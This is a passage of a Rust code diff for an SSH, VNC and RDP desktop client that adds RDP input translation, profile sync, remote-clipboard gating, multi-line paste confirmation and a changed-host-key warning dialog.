Event::Irc { session, event } => { Event::Irc { session, event } => {
if let Some(View::Irc(v)) = self.s.panes.get_mut(&session).map(|p| &mut p.view) { if let Some(View::Irc(v)) = self.s.panes.get_mut(&session).map(|p| &mut p.view) {
v.on_event(event); v.on_event(event);
@@ -493,18 +535,18 @@ impl App {
let _ = (session, title, message, reply.send(self.answers.remove(0))); let _ = (session, title, message, reply.send(self.answers.remove(0)));
} }
Event::SecretPrompt { session, title, message, reply } => { Event::SecretPrompt { session, title, message, reply } => {
self.prompts.push_back(Prompt::Secret { session, title, message, value: String::new(), reply }); self.prompts.push_back(Prompt::Secret { session, title, message, value: Default::default(), reply });
} }
Event::HostKeyVerify { host, key_type, fingerprint, reply, .. } => { Event::HostKeyVerify { host, key_type, fingerprint, stored, reply, .. } => {
self.prompts.push_back(Prompt::HostKey { host, key_type, fingerprint, reply }); self.prompts.push_back(Prompt::HostKey { host, key_type, fingerprint, stored, reply });
} }
Event::VncReady { session } => { Event::DesktopReady { session } => {
if let Some(View::Vnc(v)) = self.s.panes.get_mut(&session).map(|p| &mut p.view) { if let Some(View::Desktop(v)) = self.s.panes.get_mut(&session).map(|p| &mut p.view) {
v.on_ready(); v.on_ready();
} }
} }
Event::VncFrame { .. } => {} Event::DesktopFrame { .. } => {}
Event::VncClipboard { text, .. } => self.s.ctx.copy_text(text), Event::DesktopClipboard { text, .. } => self.remote_clipboard(&text),
} }
} }
@@ -572,11 +614,23 @@ impl App {
Request::Connect(id) => self.connect_profile(&id, false), Request::Connect(id) => self.connect_profile(&id, false),
Request::ConnectQuick(p) => { Request::ConnectQuick(p) => {
let name = if p.display_name.is_empty() { p.host.clone() } else { p.display_name.clone() }; let name = if p.display_name.is_empty() { p.host.clone() } else { p.display_name.clone() };
let sid = self.s.svc.connect_quick(p); match self.s.svc.connect_quick(p) {
self.add_session(&sid, true); Ok(sid) => {
self.s.info(format!("Connecting to {name}…")); self.add_session(&sid, true);
self.s.info(format!("Connecting to {name}…"));
}
Err(e) => self.s.error(format!("Can't connect to {name}: {e}")),
}
}
Request::ReloadProfiles => {
self.s.reload_profiles();
// A profile changed: sync it out shortly (batched with any further edits).
self.sync_due = self.sync_due.min(self.s.now + 3.0);
}
Request::SyncProfiles => {
self.sync_manual = true;
self.sync_due = 0.0;
} }
Request::ReloadProfiles => self.s.reload_profiles(),
Request::ReloadPreferences => { Request::ReloadPreferences => {
self.s.prefs = self.s.svc.preferences(); self.s.prefs = self.s.svc.preferences();
self.resize_sidebar = true; self.resize_sidebar = true;
@@ -585,7 +639,13 @@ impl App {
} }
Request::ExportEncrypted(ids) => self.transfer.export_encrypted(ids), Request::ExportEncrypted(ids) => self.transfer.export_encrypted(ids),
Request::ImportEncrypted => self.transfer.import_encrypted(), Request::ImportEncrypted => self.transfer.import_encrypted(),
Request::Sftp(id) => self.sftp.toggle(&id), Request::Sftp(id) => {
let at = match self.s.pane(&id).map(|p| &p.view) {
Some(View::Terminal(t)) => t.reported_cwd.as_ref().map(|c| c.1.clone()),
_ => None,
};
self.sftp.toggle(&id, at);
}
Request::SendToActive(text) => match self.s.focused_session() { Request::SendToActive(text) => match self.s.focused_session() {
Some(id) if self.s.session_state(&id) == Some(SessionState::Connected) => self.send_input(&id, text.as_bytes()), Some(id) if self.s.session_state(&id) == Some(SessionState::Connected) => self.send_input(&id, text.as_bytes()),
_ => self.s.error("No active connected session"), _ => self.s.error("No active connected session"),
@@ -728,6 +788,54 @@ impl App {
} }
} }
/// A remote host (OSC 52 or VNC) wants to set the clipboard: allowed per preference, and always
/// announced so a silent swap can't set up a paste into another shell.
pub fn remote_clipboard(&mut self, text: &str) {
let first: String = text.lines().next().unwrap_or("").chars().take(60).collect();
if self.s.prefs.allow_remote_clipboard {
self.s.ctx.copy_text(text.into());
self.s.info(format!("Remote host set the clipboard: {first}"));
} else {
self.s.info("Blocked a remote clipboard write (Settings → General to allow)");
}
}
/// Profile sync: at launch, a few seconds after a profile changes, every 10 minutes and on
/// request, when a folder and password are set. Automatic runs stay quiet unless something
/// changed or a manual one failed.
fn drive_sync(&mut self, ctx: &egui::Context) {
if let Some(r) = crate::settings::poll(&mut self.sync_job) {
let manual = std::mem::take(&mut self.sync_manual);
match r {
Ok(rep) => {
if rep.pulled + rep.removed > 0 {
self.s.reload_profiles();
self.s.info(format!("Profile sync: {} updated, {} removed", rep.pulled, rep.removed));
} else if manual {
self.s.success(if rep.pushed { "Profiles synced" } else { "Profiles already in sync" });
}
if rep.skipped > 0 {
self.s.error(format!("Profile sync skipped {} invalid profile(s) from the shared file", rep.skipped));
}
}
Err(e) if manual => self.s.error(format!("Profile sync failed: {e}")),
Err(e) => tracing::warn!(error = %e, "profile sync failed"),
}
}
if self.screenshot.is_some() || self.sync_job.is_some() || self.s.now < self.sync_due {
return;
}
self.sync_due = self.s.now + 600.0;
if self.s.prefs.sync_folder.trim().is_empty() {
if std::mem::take(&mut self.sync_manual) {
self.s.error("Choose a sync folder first");
}
return;
}
let svc = self.s.svc.clone();
self.sync_job = Some(crate::settings::Job::spawn(ctx, move || svc.sync_profiles().map_err(|e| e.to_string())));
}
pub fn toggle_broadcast(&mut self) { pub fn toggle_broadcast(&mut self) {
self.s.broadcast = !self.s.broadcast; self.s.broadcast = !self.s.broadcast;
if !self.s.broadcast { if !self.s.broadcast {
@@ -761,6 +869,9 @@ impl App {
{ {
let mut out = crate::terminal::TermResponse::default(); let mut out = crate::terminal::TermResponse::default();
t.paste(&text, &mut out); t.paste(&text, &mut out);
if let Some(text) = out.confirm_paste {
self.dialog = Some(Dialog::ConfirmPaste { session: id.into(), text });
}
let input = out.input; let input = out.input;
self.send_input(id, &input); self.send_input(id, &input);
} }
@@ -802,7 +913,8 @@ impl App {
t.reset(); t.reset();
} }
} }
MenuAction::Copy | MenuAction::SelectAll => {} // Handled inside the terminal view.
MenuAction::Copy | MenuAction::SelectAll | MenuAction::PrevPrompt | MenuAction::NextPrompt | MenuAction::CopyOutput => {}
} }
} }
@@ -864,7 +976,7 @@ pub fn theme_for(pref: &str) -> ThemeKind {
/// Recognises auth and host-key failures for the guided error dialog. /// Recognises auth and host-key failures for the guided error dialog.
pub fn classify_error(msg: &str) -> Option<(&'static str, &'static str, bool)> { pub fn classify_error(msg: &str) -> Option<(&'static str, &'static str, bool)> {
let m = msg.to_lowercase(); let m = msg.to_lowercase();
if ["unable to authenticate", "authentication failed", "permission denied", "no supported methods"].iter().any(|p| m.contains(p)) { if nexus_core::sessions::is_auth_error(&m) {
return Some(("Authentication Failed", "The server rejected the provided credentials. Check username, password, keys, and auth methods.", false)); return Some(("Authentication Failed", "The server rejected the provided credentials. Check username, password, keys, and auth methods.", false));
} }
if ["host key", "fingerprint"].iter().any(|p| m.contains(p)) { if ["host key", "fingerprint"].iter().any(|p| m.contains(p)) {
@@ -888,7 +1000,7 @@ impl eframe::App for App {
if self.palette.is_none() && self.dialog.is_none() && self.prompts.is_empty() { if self.palette.is_none() && self.dialog.is_none() && self.prompts.is_empty() {
self.shortcuts(&ctx); self.shortcuts(&ctx);
} }
if ctx.input(|i| i.key_pressed(Key::Escape)) && ctx.input(|i| i.viewport().fullscreen.unwrap_or(false)) && self.palette.is_none() { if crate::chrome::modal_key(&ctx, Key::Escape) && ctx.input(|i| i.viewport().fullscreen.unwrap_or(false)) && self.palette.is_none() {
ctx.send_viewport_cmd(egui::ViewportCommand::Fullscreen(false)); ctx.send_viewport_cmd(egui::ViewportCommand::Fullscreen(false));
} }
self.file_drops(&ctx); self.file_drops(&ctx);
@@ -936,6 +1048,8 @@ impl eframe::App for App {
egui::CentralPanel::default().frame(egui::Frame::NONE.fill(t.dock)).show(ui, |ui| tabs::workspace(self, ui)); egui::CentralPanel::default().frame(egui::Frame::NONE.fill(t.dock)).show(ui, |ui| tabs::workspace(self, ui));
// Floating windows and modals. // Floating windows and modals.
let prompt_open = !self.prompts.is_empty();
ctx.data_mut(|d| d.insert_temp(egui::Id::new("nexus-prompt-open"), prompt_open));
self.quick.ui(&ctx, &mut self.s); self.quick.ui(&ctx, &mut self.s);
self.settings.ui(&ctx, &mut self.s); self.settings.ui(&ctx, &mut self.s);
self.keys.ui(&ctx, &mut self.s); self.keys.ui(&ctx, &mut self.s);
@@ -950,6 +1064,11 @@ impl eframe::App for App {
chrome::palette(self, &ctx); chrome::palette(self, &ctx);
chrome::toasts(self, &ctx); chrome::toasts(self, &ctx);
self.screenshot(&ctx); self.screenshot(&ctx);
self.drive_sync(&ctx);
if self.screenshot.is_none() && self.s.prefs.restore_sessions && self.s.now - self.layout_checked > 1.0 {
self.layout_checked = self.s.now;
crate::restore::save_if_changed(self);
}
chrome::resize_edges(&ctx); chrome::resize_edges(&ctx);
// Requests raised while drawing are handled on the next frame. // Requests raised while drawing are handled on the next frame.
if !self.s.requests.is_empty() { if !self.s.requests.is_empty() {
+130 -29
View File
@@ -9,6 +9,7 @@ use crate::widgets;
use egui::{Align2, Color32, Key, Rect, RichText, Sense, Stroke, Ui, ViewportCommand, pos2, vec2}; use egui::{Align2, Color32, Key, Rect, RichText, Sense, Stroke, Ui, ViewportCommand, pos2, vec2};
use egui_phosphor::regular as icon; use egui_phosphor::regular as icon;
use nexus_core::models::{Protocol, SessionState}; use nexus_core::models::{Protocol, SessionState};
use nexus_core::sessions::HostKeyDecision;
pub const LOGO_PNG: &[u8] = include_bytes!("../assets/icon/icon-256.png"); pub const LOGO_PNG: &[u8] = include_bytes!("../assets/icon/icon-256.png");
@@ -79,7 +80,7 @@ pub fn title_bar(app: &mut App, ui: &mut Ui) {
if item(ui, icon::FILE_ARROW_DOWN, "Import ~/.ssh/config", "") { if item(ui, icon::FILE_ARROW_DOWN, "Import ~/.ssh/config", "") {
match app.s.svc.import_ssh_config(None, "SSH Config") { match app.s.svc.import_ssh_config(None, "SSH Config") {
Ok(n) => { Ok(n) => {
app.s.success(format!("Imported {n} host(s) from ~/.ssh/config")); app.s.success(crate::settings::ssh_import_summary(n));
app.s.reload_profiles(); app.s.reload_profiles();
} }
Err(e) => app.s.error(format!("Import failed: {e}")), Err(e) => app.s.error(format!("Import failed: {e}")),
@@ -131,7 +132,7 @@ pub fn title_bar(app: &mut App, ui: &mut Ui) {
if item(ui, icon::FOLDER_OPEN, "SFTP browser", "") if item(ui, icon::FOLDER_OPEN, "SFTP browser", "")
&& let Some(f) = focused.clone() && let Some(f) = focused.clone()
{ {
app.sftp.toggle(&f); app.s.request(crate::state::Request::Sftp(f));
} }
if item(ui, icon::ARROWS_LEFT_RIGHT, "Port forwards", "") if item(ui, icon::ARROWS_LEFT_RIGHT, "Port forwards", "")
&& let Some(f) = focused.clone() && let Some(f) = focused.clone()
@@ -369,13 +370,13 @@ pub fn status_bar(app: &mut App, ui: &mut Ui) {
}); });
} }
static LATENCY: std::sync::Mutex<Option<(String, Result<i64, String>)>> = std::sync::Mutex::new(None); static LATENCY: parking_lot::Mutex<Option<(String, Result<i64, String>)>> = parking_lot::Mutex::new(None);
/// Pings the active SSH session every 10 s for the status-bar latency. /// Pings the active SSH session every 10 s for the status-bar latency.
fn latency_tick(app: &mut App) { fn latency_tick(app: &mut App) {
let id = app.s.active.clone(); let id = app.s.active.clone();
let ssh = id.as_deref().and_then(|a| app.s.pane(a)).is_some_and(|p| p.info.protocol == Protocol::Ssh); let ssh = id.as_deref().and_then(|a| app.s.pane(a)).is_some_and(|p| p.info.protocol == Protocol::Ssh);
if let Some(r) = LATENCY.lock().unwrap().take() { if let Some(r) = LATENCY.lock().take() {
app.latency = Some(r); app.latency = Some(r);
} }
let Some(id) = id.filter(|_| ssh) else { return }; let Some(id) = id.filter(|_| ssh) else { return };
@@ -394,7 +395,7 @@ fn latency_tick(app: &mut App) {
let (svc, ctx) = (app.s.svc.clone(), app.s.ctx.clone()); let (svc, ctx) = (app.s.svc.clone(), app.s.ctx.clone());
std::thread::spawn(move || { std::thread::spawn(move || {
let r = svc.sessions.ping(&id).map_err(|e| e.to_string()); let r = svc.sessions.ping(&id).map_err(|e| e.to_string());
*LATENCY.lock().unwrap() = Some((id, r)); *LATENCY.lock() = Some((id, r));
ctx.request_repaint(); ctx.request_repaint();
}); });
} }
@@ -597,14 +598,14 @@ pub fn palette(app: &mut App, ctx: &egui::Context) {
let matches: Vec<_> = matches.into_iter().map(|(_, c)| c).collect(); let matches: Vec<_> = matches.into_iter().map(|(_, c)| c).collect();
pal.sel = pal.sel.min(matches.len().saturating_sub(1)); pal.sel = pal.sel.min(matches.len().saturating_sub(1));
let mut chosen = None; let mut chosen = None;
let mut close = ctx.input(|i| i.key_pressed(Key::Escape)); let mut close = crate::chrome::modal_key(ctx, Key::Escape);
if ctx.input(|i| i.key_pressed(Key::ArrowDown)) { if ctx.input(|i| i.key_pressed(Key::ArrowDown)) {
pal.sel = (pal.sel + 1).min(matches.len().saturating_sub(1)); pal.sel = (pal.sel + 1).min(matches.len().saturating_sub(1));
} }
if ctx.input(|i| i.key_pressed(Key::ArrowUp)) { if ctx.input(|i| i.key_pressed(Key::ArrowUp)) {
pal.sel = pal.sel.saturating_sub(1); pal.sel = pal.sel.saturating_sub(1);
} }
if ctx.input(|i| i.key_pressed(Key::Enter)) { if crate::chrome::modal_key(ctx, Key::Enter) {
chosen = matches.get(pal.sel).map(|m| m.0.clone()); chosen = matches.get(pal.sel).map(|m| m.0.clone());
} }
modal_backdrop(ctx); modal_backdrop(ctx);
@@ -676,6 +677,15 @@ pub fn modal(ctx: &egui::Context, id: &str, width: f32, body: impl FnOnce(&mut U
}); });
} }
/// Set each frame while a credential or host-key prompt is on screen.
const PROMPT_OPEN: &str = "nexus-prompt-open";
/// Enter/Escape for any modal except the prompts: while a prompt is showing it takes those keys,
/// so one key press can't also confirm or dismiss the dialog underneath.
pub fn modal_key(ctx: &egui::Context, key: Key) -> bool {
!ctx.data(|d| d.get_temp::<bool>(egui::Id::new(PROMPT_OPEN)).unwrap_or(false)) && ctx.input(|i| i.key_pressed(key))
}
pub fn prompts(app: &mut App, ctx: &egui::Context) { pub fn prompts(app: &mut App, ctx: &egui::Context) {
let Some(p) = app.prompts.front_mut() else { let Some(p) = app.prompts.front_mut() else {
return; return;
@@ -694,12 +704,12 @@ pub fn prompts(app: &mut App, ctx: &egui::Context) {
} }
ui.add_space(4.0); ui.add_space(4.0);
ui.label(message.as_str()); ui.label(message.as_str());
let r = ui.add(egui::TextEdit::singleline(value).password(true).desired_width(f32::INFINITY)); let r = ui.add(egui::TextEdit::singleline(&mut **value).password(true).desired_width(f32::INFINITY));
r.request_focus(); r.request_focus();
ui.add_space(6.0); ui.add_space(6.0);
ui.horizontal(|ui| { ui.horizontal(|ui| {
if widgets::primary(ui, icon::CHECK, "OK").clicked() || enter { if widgets::primary(ui, icon::CHECK, "OK").clicked() || enter {
let _ = reply.send(std::mem::take(value)); let _ = reply.send(std::mem::take(&mut **value));
done = true; done = true;
} }
if ui.button("Cancel").clicked() || esc { if ui.button("Cancel").clicked() || esc {
@@ -708,24 +718,63 @@ pub fn prompts(app: &mut App, ctx: &egui::Context) {
}); });
}); });
} }
Prompt::HostKey { host, key_type, fingerprint, reply } => { Prompt::HostKey { host, key_type, fingerprint, stored, reply } => {
modal(ctx, "hostkey-prompt", 460.0, |ui| { modal(ctx, "hostkey-prompt", 480.0, |ui| {
ui.label(RichText::new(format!("{} Verify host key", icon::SHIELD_WARNING)).font(theme::semibold(15.0))); let mut decide = |d: HostKeyDecision| {
ui.label(format!("The authenticity of {host} can't be established.")); let _ = reply.send(d);
ui.add_space(4.0); done = true;
widgets::kv(ui, "hk", &[("Key type", key_type.clone()), ("Fingerprint", fingerprint.clone())]); };
widgets::hint(ui, "Accept only if this matches the fingerprint the server's administrator gave you."); match stored {
ui.add_space(6.0); Some(old) => {
ui.horizontal(|ui| { ui.label(RichText::new(format!("{} Host key changed", icon::SHIELD_WARNING)).font(theme::semibold(15.0)).color(t.danger));
if widgets::primary(ui, icon::CHECK, "Accept & Save").clicked() { ui.add(
let _ = reply.send(true); egui::Label::new(format!(
done = true; "The key {host} presented does not match the one on record. This happens when a server is reinstalled, but it is also what an interception attack looks like. Only continue if you can confirm the new fingerprint with the server's administrator."
))
.wrap(),
);
ui.add_space(4.0);
widgets::kv(ui, "hk", &[("Key type", key_type.clone()), ("Stored", old.clone()), ("Received", fingerprint.clone())]);
ui.add_space(6.0);
ui.horizontal(|ui| {
if widgets::primary(ui, icon::X, "Reject").clicked() || esc {
decide(HostKeyDecision::Reject);
}
if ui.button(format!("{} Accept Once", icon::CHECK)).on_hover_text("Connect this time; keep the stored key unchanged").clicked() {
decide(HostKeyDecision::AcceptOnce);
}
if ui
.add(
egui::Button::new(RichText::new(format!("{} Accept & Update", icon::ARROWS_CLOCKWISE)).color(t.accent_text))
.fill(t.danger),
)
.on_hover_text("Connect and replace the stored key with this one")
.clicked()
{
decide(HostKeyDecision::AcceptAndSave);
}
});
} }
if ui.button("Reject").clicked() || esc { None => {
let _ = reply.send(false); ui.label(RichText::new(format!("{} Verify host key", icon::SHIELD_WARNING)).font(theme::semibold(15.0)));
done = true; ui.label(format!("The authenticity of {host} can't be established."));
ui.add_space(4.0);
widgets::kv(ui, "hk", &[("Key type", key_type.clone()), ("Fingerprint", fingerprint.clone())]);
widgets::hint(ui, "Accept only if this matches the fingerprint the server's administrator gave you.");
ui.add_space(6.0);
ui.horizontal(|ui| {
if widgets::primary(ui, icon::CHECK, "Accept & Save").clicked() {
decide(HostKeyDecision::AcceptAndSave);
}
if ui.button(format!("{} Accept Once", icon::CHECK)).on_hover_text("Connect without recording the key").clicked() {
decide(HostKeyDecision::AcceptOnce);
}
if ui.button("Reject").clicked() || esc {
decide(HostKeyDecision::Reject);
}
});
} }
}); }
}); });
} }
} }
@@ -741,7 +790,7 @@ pub fn dialogs(app: &mut App, ctx: &egui::Context) {
return; return;
}; };
let t = Tokens::get(ctx); let t = Tokens::get(ctx);
let esc = ctx.input(|i| i.key_pressed(Key::Escape)); let esc = crate::chrome::modal_key(ctx, Key::Escape);
let mut keep = !esc; let mut keep = !esc;
match &mut d { match &mut d {
Dialog::Reuse { profile, existing } => { Dialog::Reuse { profile, existing } => {
@@ -795,7 +844,7 @@ pub fn dialogs(app: &mut App, ctx: &egui::Context) {
ui.label(format!("{name} is still connected.")); ui.label(format!("{name} is still connected."));
ui.add_space(8.0); ui.add_space(8.0);
ui.horizontal(|ui| { ui.horizontal(|ui| {
if widgets::primary(ui, icon::X, "Close").clicked() || ctx.input(|i| i.key_pressed(Key::Enter)) { if widgets::primary(ui, icon::X, "Close").clicked() || crate::chrome::modal_key(ctx, Key::Enter) {
let id = session.clone(); let id = session.clone();
app.close_session(&id); app.close_session(&id);
keep = false; keep = false;
@@ -829,7 +878,7 @@ pub fn dialogs(app: &mut App, ctx: &egui::Context) {
let r = ui.add(egui::TextEdit::singleline(name).desired_width(f32::INFINITY)); let r = ui.add(egui::TextEdit::singleline(name).desired_width(f32::INFINITY));
r.request_focus(); r.request_focus();
ui.horizontal(|ui| { ui.horizontal(|ui| {
if widgets::primary(ui, icon::CHECK, "Rename").clicked() || ctx.input(|i| i.key_pressed(Key::Enter)) { if widgets::primary(ui, icon::CHECK, "Rename").clicked() || crate::chrome::modal_key(ctx, Key::Enter) {
let n = name.trim().to_string(); let n = name.trim().to_string();
if !n.is_empty() { if !n.is_empty() {
let _ = app.s.svc.sessions.rename(session, &n); let _ = app.s.svc.sessions.rename(session, &n);
@@ -880,6 +929,35 @@ pub fn dialogs(app: &mut App, ctx: &egui::Context) {
}); });
}); });
} }
Dialog::ConfirmPaste { session, text } => {
let lines = text.lines().count();
let preview: String = text.lines().take(12).collect::<Vec<_>>().join("\n");
modal(ctx, "confirm-paste", 480.0, |ui| {
ui.label(RichText::new("Paste multiple lines?").font(theme::semibold(15.0)));
widgets::hint(ui, &format!("{lines} line(s) will run as commands as soon as they are pasted:"));
egui::ScrollArea::vertical().max_height(220.0).show(ui, |ui| {
ui.add(egui::Label::new(RichText::new(preview).monospace()).wrap());
});
if lines > 12 {
widgets::hint(ui, &format!("… and {} more", lines - 12));
}
ui.add_space(6.0);
ui.horizontal(|ui| {
if widgets::primary(ui, icon::CHECK, "Paste").clicked() {
if let Some(View::Terminal(t)) = app.s.panes.get_mut(session.as_str()).map(|p| &mut p.view) {
let mut out = crate::terminal::TermResponse::default();
t.paste_now(text, &mut out);
let id = session.clone();
app.send_input(&id, &out.input);
}
keep = false;
}
if ui.button("Cancel").clicked() || crate::chrome::modal_key(ctx, Key::Escape) {
keep = false;
}
});
});
}
Dialog::Guided { session, title, body, known_hosts } => { Dialog::Guided { session, title, body, known_hosts } => {
let label = app.s.pane(session).map(|p| p.info.tab_name.clone()).unwrap_or_else(|| "Session".into()); let label = app.s.pane(session).map(|p| p.info.tab_name.clone()).unwrap_or_else(|| "Session".into());
let profile_id = app.s.pane(session).map(|p| p.info.profile_id.clone()).unwrap_or_default(); let profile_id = app.s.pane(session).map(|p| p.info.profile_id.clone()).unwrap_or_default();
@@ -943,7 +1021,7 @@ pub fn dialogs(app: &mut App, ctx: &egui::Context) {
let r = ui.add(egui::TextEdit::singleline(value).desired_width(f32::INFINITY)); let r = ui.add(egui::TextEdit::singleline(value).desired_width(f32::INFINITY));
r.request_focus(); r.request_focus();
ui.horizontal(|ui| { ui.horizontal(|ui| {
submit = widgets::primary(ui, icon::CHECK, "OK").clicked() || ctx.input(|i| i.key_pressed(Key::Enter)); submit = widgets::primary(ui, icon::CHECK, "OK").clicked() || crate::chrome::modal_key(ctx, Key::Enter);
if ui.button("Cancel").clicked() { if ui.button("Cancel").clicked() {
keep = false; keep = false;
} }
@@ -1024,3 +1102,26 @@ pub fn toasts(app: &mut App, ctx: &egui::Context) {
app.s.toasts.remove(i); app.s.toasts.remove(i);
} }
} }
#[cfg(test)]
mod modal_key_tests {
use super::*;
#[test]
fn an_open_prompt_takes_enter_and_escape() {
let ctx = egui::Context::default();
let press = |key| egui::RawInput {
events: vec![egui::Event::Key { key, physical_key: None, pressed: true, repeat: false, modifiers: Default::default() }],
..Default::default()
};
for (prompt_open, want) in [(false, true), (true, false)] {
let mut got = None;
let mut out = ctx.run_ui(press(Key::Enter), |ui| {
ui.ctx().data_mut(|d| d.insert_temp(egui::Id::new(PROMPT_OPEN), prompt_open));
got = Some(modal_key(ui.ctx(), Key::Enter));
});
out.textures_delta.clear();
assert_eq!(got, Some(want), "prompt open: {prompt_open}");
}
}
}
@@ -1,14 +1,16 @@
//! VNC viewer: the remote framebuffer as a texture, with mouse, keyboard and clipboard input. //! Remote desktop viewer for VNC and RDP: the remote framebuffer as a texture, with mouse,
//! Toolbar after the web build's `vnc.js` (status, Ctrl+Alt+Del, clipboard), plus refresh and a //! keyboard and clipboard input. Input is expressed in X keysyms and VNC pointer masks (VNC's own
//! scale toggle. //! terms); `Remote` translates them for RDP. Toolbar after the web build's `vnc.js` (status,
//! Ctrl+Alt+Del, clipboard), plus refresh and a scale toggle.
use crate::state::Shared; use crate::state::Shared;
use crate::theme::{self, Tokens}; use crate::theme::{self, Tokens};
use crate::widgets; use crate::widgets;
use egui::{Event, Key, Modifiers, Pos2, Rect, RichText, Sense, TextureHandle, Ui, vec2}; use egui::{Event, Key, Modifiers, Pos2, Rect, RichText, Sense, TextureHandle, Ui, vec2};
use egui_phosphor::regular as icon; use egui_phosphor::regular as icon;
use nexus_core::clients::rdp::{self, MouseButton, MousePosition, Operation, Scancode, WheelRotations};
use nexus_core::clients::vnc::{self, keysym_for}; use nexus_core::clients::vnc::{self, keysym_for};
use nexus_core::models::Profile; use nexus_core::models::{Profile, Protocol};
use std::sync::Arc; use std::sync::Arc;
const XK_SHIFT: u32 = 0xffe1; const XK_SHIFT: u32 = 0xffe1;
@@ -19,12 +21,121 @@ const XK_DELETE: u32 = 0xffff;
/// Wheel distance (points) per remote scroll notch for pixel-precise wheels. /// Wheel distance (points) per remote scroll notch for pixel-precise wheels.
const NOTCH: f32 = 40.0; const NOTCH: f32 = 40.0;
pub struct VncView { /// The connected client a view drives.
#[derive(Clone)]
enum Remote {
Vnc(Arc<vnc::Client>),
Rdp(Arc<rdp::Client>),
}
impl Remote {
fn framebuffer(&self) -> Arc<parking_lot::Mutex<vnc::Framebuffer>> {
match self {
Remote::Vnc(c) => c.framebuffer(),
Remote::Rdp(c) => c.framebuffer(),
}
}
/// `held` is the modifier keysyms down on the remote side (for RDP shortcuts).
fn key(&self, sym: u32, down: bool, held: &[u32]) {
match self {
Remote::Vnc(c) => {
let _ = c.key(sym, down);
}
Remote::Rdp(c) => {
if let Some(op) = rdp_key(sym, down, held.iter().any(|&k| matches!(k, XK_CONTROL | XK_ALT | XK_SUPER))) {
c.input(vec![op]);
}
}
}
}
/// Bits 0–2 left, middle, right; 3/4 a wheel notch up/down (VNC's pointer mask).
fn pointer(&self, x: u16, y: u16, mask: u8) {
match self {
Remote::Vnc(c) => {
let _ = c.pointer(x, y, mask);
}
Remote::Rdp(c) => {
let mut ops = vec![Operation::MouseMove(MousePosition { x, y })];
for (bit, b) in [(0, MouseButton::Left), (1, MouseButton::Middle), (2, MouseButton::Right)] {
ops.push(if mask & 1 << bit != 0 { Operation::MouseButtonPressed(b) } else { Operation::MouseButtonReleased(b) });
}
for (bit, units) in [(3, 120), (4, -120)] {
if mask & 1 << bit != 0 {
ops.push(Operation::WheelRotations(WheelRotations { is_vertical: true, rotation_units: units }));
}
}
c.input(ops);
}
}
}
}
/// An X keysym as an RDP key operation: named keys (and letters/digits pressed with Ctrl, Alt or
/// Win, so shortcuts work) as US-layout scancodes, everything else as a Unicode key.
fn rdp_key(sym: u32, down: bool, chord: bool) -> Option<Operation> {
let sc = |ext: bool, code: u8| {
Some(if down { Operation::KeyPressed(Scancode::from_u8(ext, code)) } else { Operation::KeyReleased(Scancode::from_u8(ext, code)) })
};
let named = match sym {
0xff1b => (false, 0x01),
0xff08 => (false, 0x0e),
0xff09 => (false, 0x0f),
0xff0d => (false, 0x1c),
0xffe1 => (false, 0x2a),
0xffe2 => (false, 0x36),
0xffe3 => (false, 0x1d),
0xffe4 => (true, 0x1d),
0xffe9 => (false, 0x38),
0xffea | 0xfe03 => (true, 0x38),
0xffeb => (true, 0x5b),
0xffec => (true, 0x5c),
0xffe5 => (false, 0x3a),
0xff50 => (true, 0x47),
0xff51 => (true, 0x4b),
0xff52 => (true, 0x48),
0xff53 => (true, 0x4d),
0xff54 => (true, 0x50),
0xff55 => (true, 0x49),
0xff56 => (true, 0x51),
0xff57 => (true, 0x4f),
0xff63 => (true, 0x52),
0xffff => (true, 0x53),
f @ 0xffbe..=0xffc7 => (false, 0x3b + (f - 0xffbe) as u8),
0xffc8 => (false, 0x57),
0xffc9 => (false, 0x58),
_ => (false, 0),
};
if named.1 != 0 {
return sc(named.0, named.1);
}
let ch = char::from_u32(if sym >= 0x0100_0000 { sym - 0x0100_0000 } else { sym })?;
if chord {
const LETTERS: &[u8; 26] = b"\x1e\x30\x2e\x20\x12\x21\x22\x23\x17\x24\x25\x26\x32\x31\x18\x19\x10\x13\x1f\x14\x16\x2f\x11\x2d\x15\x2c";
let lower = ch.to_ascii_lowercase();
match lower {
'a'..='z' => return sc(false, LETTERS[(lower as u8 - b'a') as usize]),
'1'..='9' => return sc(false, lower as u8 - b'1' + 0x02),
'0' => return sc(false, 0x0b),
' ' => return sc(false, 0x39),
_ => {}
}
}
Some(if down { Operation::UnicodeKeyPressed(ch) } else { Operation::UnicodeKeyReleased(ch) })
}
pub struct DesktopView {
pub session: String, pub session: String,
protocol: Protocol,
view_only: bool, view_only: bool,
scale_to_fit: bool, scale_to_fit: bool,
/// RDP: ask the server to match the tab's size.
dynamic_resolution: bool,
/// Last tab size reported (pixels) and when it changed, for debounced RDP resizes.
reported: ([u32; 2], [u32; 2], f64),
ready: bool, ready: bool,
client: Option<Arc<vnc::Client>>, client: Option<Remote>,
texture: Option<TextureHandle>, texture: Option<TextureHandle>,
fb_size: [usize; 2], fb_size: [usize; 2],
name: String, name: String,
@@ -105,13 +216,20 @@ fn to_remote(p: Pos2, img: Rect, fb: [usize; 2]) -> (u16, u16) {
(x as u16, y as u16) (x as u16, y as u16)
} }
impl VncView { impl DesktopView {
pub fn new(session: &str, profile: &Profile) -> VncView { pub fn new(session: &str, profile: &Profile) -> DesktopView {
let cfg = profile.vnc.clone().unwrap_or_default(); let (view_only, scale_to_fit, dynamic_resolution) = match (&profile.vnc, &profile.rdp) {
VncView { (Some(v), _) if profile.protocol == Protocol::Vnc => (v.view_only, v.scale_to_fit, false),
(_, Some(r)) => (false, r.scale_to_fit, r.dynamic_resolution && r.width == 0),
_ => (false, true, false),
};
DesktopView {
session: session.into(), session: session.into(),
view_only: cfg.view_only, protocol: profile.protocol,
scale_to_fit: cfg.scale_to_fit, view_only,
scale_to_fit,
dynamic_resolution,
reported: ([0, 0], [0, 0], 0.0),
ready: false, ready: false,
client: None, client: None,
texture: None, texture: None,
@@ -125,7 +243,7 @@ impl VncView {
} }
} }
/// Called on `Event::VncReady` (the client is connected; fetch it via `s.svc.sessions.vnc(id)`). /// Called on `Event::DesktopReady` (the client is connected; the view fetches it next frame).
pub fn on_ready(&mut self) { pub fn on_ready(&mut self) {
self.ready = true; self.ready = true;
self.client = None; self.client = None;
@@ -133,7 +251,7 @@ impl VncView {
fn key(&self, sym: u32, down: bool) { fn key(&self, sym: u32, down: bool) {
if let Some(c) = &self.client { if let Some(c) = &self.client {
let _ = c.key(sym, down); c.key(sym, down, &self.held);
} }
} }
@@ -161,23 +279,52 @@ impl VncView {
if self.buttons != 0 if self.buttons != 0
&& let Some(c) = &self.client && let Some(c) = &self.client
{ {
